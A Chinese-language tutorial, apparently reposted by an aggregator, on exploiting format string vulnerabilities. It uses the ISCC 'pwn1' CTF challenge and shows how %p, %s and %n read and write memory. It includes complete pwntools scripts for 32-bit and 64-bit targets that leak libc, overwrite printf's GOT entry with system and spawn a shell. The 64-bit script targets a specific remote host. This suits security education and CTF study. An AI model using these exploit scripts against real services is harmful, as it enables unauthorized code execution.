格式化字符串利用小结

Posted Yable

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了格式化字符串利用小结相关的知识,希望对你有一定的参考价值。

格式化字符串漏洞基本原理:

Printf()函数的一般形式为printf(“format”,输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,这样使用:

char str[100];

scanf(“%s”,str);

printf(“%s”,str);

 

但也有人这么用:

char str[100]

scanf(“%s”,str);

printf(str)

 

也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。

 

 

 

 

以上图为例,假设调用printf(str)时的栈是这样的:

(1)如果str就是“Hello word”,则直接输出“hello world”

(2)如果str是format,例如:%2$p,就会输出format偏移2处到内存地址的内容!

 

实例分析:

下面我们来通过ISCC pwn1的格式化字符从来进行分析:

首先看下文件

file pwn1

pwn1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), 

for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped

 

运行下程序:

 

 

查看下保护机制:

 

发现只有NX保护机制。

 

看下反编译的源码:

 

 

发现漏洞在printf输出的地方。测试下:

 

果然出现了打印地址的情况,说明存在格式户字符串漏洞。

 

我们来调试熟悉格式化字符串的利用:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

 

1、%x打印内存数据

首先在printf处下一个断点:

 

 

运行输入%x:

 

程序段在了我们的断点处。C继续运行

 

 

发现程序打印出了,format偏移1处的内存中的内容。

 

 

现在我们输入%5$x 看打印的内容是不是:0x1

果然输出了我们想要预设的偏移为5的数据,即为1.

2、%p打印内存数据

%p的用法和%x的用法相同,不同的是%p会在打印的数据前面添加上0x(输出16进制数据)。例如%5$p

 

然后试一下偏移四处的栈数据即我们预测的0xaffd014.输入%4$p,看效果。可以发现打印的是带有0x的数据内容,即十六进制数据。

 

3、%s打印内存数据

%i&s是打印处偏移i处地址里面数据指向的内存地址的内容。例如我们通过%3$s以字符串格式打印偏移3处的内容,就是0xffffd074指向的内容,即为0xffffd26c,下面我们看效果。

 

 

会发现打印的是L***为什么不是0xffffd26c呢?别急,看下转码。

内存小端存储,是以 6c d2 ff ff 形式存储,打印的就是0xffffd26c转换为字符串之后的形式。

4、%n写入内存数据

%n和%s类似,会把%好之前的字符个数,写入第i处数据指向的地址空间,我们实验下AAA%3$n,看看会不会把3写入到0xffffd074指向的内存,即覆盖0xffffd26c.

 

 

 

 

会看到,我们成功将3写入了0xffffd074指向的数据。这样我们就能够利用这一点来修改got表的地址了。

如果要写入具体的数据可以通过%datax%n$n,例如要写入数据0x48到偏移删除的位置,可以用%72x%3$n.(72是0x48的十进制数据。)

调试看效果:

 

 

可以发现偏移三处的位置,0xffffd074指向的数据被我们修改为了0x48(\'H\').

 

后面我们会结合实际的例题来完整的实例脚本。

还是这道题pwn1,刚刚我们对格式化字符串的参数利用方法,下面就是利用方式了。先看脚本:

 32位:

 1 from pwn import*
 2 
 3 local =1
 4 debug = 1
 5 
 6 if local:
 7     p = process(\'./pwn1\')
 8 else:
 9     p = remote("127.0.0.1",8080)
10 
11 #context.log_level = \'debug\'
12 \'\'\'
13 if debug:
14     gdb.attach(p)
15 \'\'\'
16 def fms(data):
17     p.recvuntil("input$",timeout=4)
18     p.sendline("1")
19     p.recvuntil("please input your name:\\n")
20     p.sendline(data)
21 
22 
23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")
24 elf = ELF(\'./pwn1\')
25 
26 fms(\'%35$p\')
27 
28 libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main
29 libc_addr = libc_start_main_addr - libc.symbols[\'__libc_start_main\']
30 print "libc_addr =",hex(libc_addr)
31 
32 printf_got = elf.got[\'printf\']
33 print "printf_got =",hex(printf_got)
34 
35 system_addr =libc_addr + libc.symbols[\'system\']
36 print "system_addr =",hex(system_addr)
37 
38 #make stack
39 make_stack = \'a\' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 
40 fms(make_stack)
41 #gdb.attach(p)
42 
43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
45 print "payload=",payload
46 
47 fms(payload)
48 fms(\'/bin/sh\\x00\')
49 p.interactive()

 

看下这条语句:

 

 make_stack = \'a\' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 

 

目的是抬高栈:防止写入的数据被程序执行过程中被覆盖,语句如下,0x30这个数值可以自己定义。剩下的工作就是调试寻找偏移地址了。

 

利用思路:

1、泄露地址:__libc_start_main —>libc_addr

2、修改printf的got表内的地址为system函数的地址。

3、通过源程序中的printf(/bin/sh),就变成了system(/bin/sh),取得了shell了。

64位:

 

from pwn import*

local =0
debug = 0

if local:
    p = process(\'./pwn1\')
else:
    p = remote("101.71.29.5",10040)

context_log_level = \'debug\'

if debug:
    gdb.attach(p)

def fms(data):

    p.sendline(data)


libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(\'./pwn1\')

fms(\'%43$p\')


libc_start_main_addr = int(p.recv(20),16) - 240
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc_addr = libc_start_main_addr - libc.symbols[\'__libc_start_main\']
print "libc_addr =",hex(libc_addr)

printf_got = elf.got[\'printf\']
print "printf_got =",hex(printf_got)

system_addr =libc_addr + libc.symbols[\'system\']
#system_addr = 0x12345678
print "system_addr =",hex(system_addr)




make_stack = \'A\' * 0x50 + p64(printf_got) + p64(printf_got + 0x1) 
fms(make_stack)


payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
print "payload=",payload

#gdb.attach(p,open(\'bb\'))

fms(payload)

fms(\'/bin/sh\\x00\')
p.interactive()

 

 

 

 

 

 

 参考链接:http://bobao.360.cn/learning/detail/3654.html

以上是关于格式化字符串利用小结的主要内容,如果未能解决你的问题,请参考以下文章

JavaScript数组sort()方法小结

HtmlSpanner 使用小结 -- 安卓解析html

我应该如何使用 Outlook 发送代码片段?

知识点小结~5

利用jquery操作Radio方法小结

利用JS判断字符串是不是含有数字与特殊字符的方法小结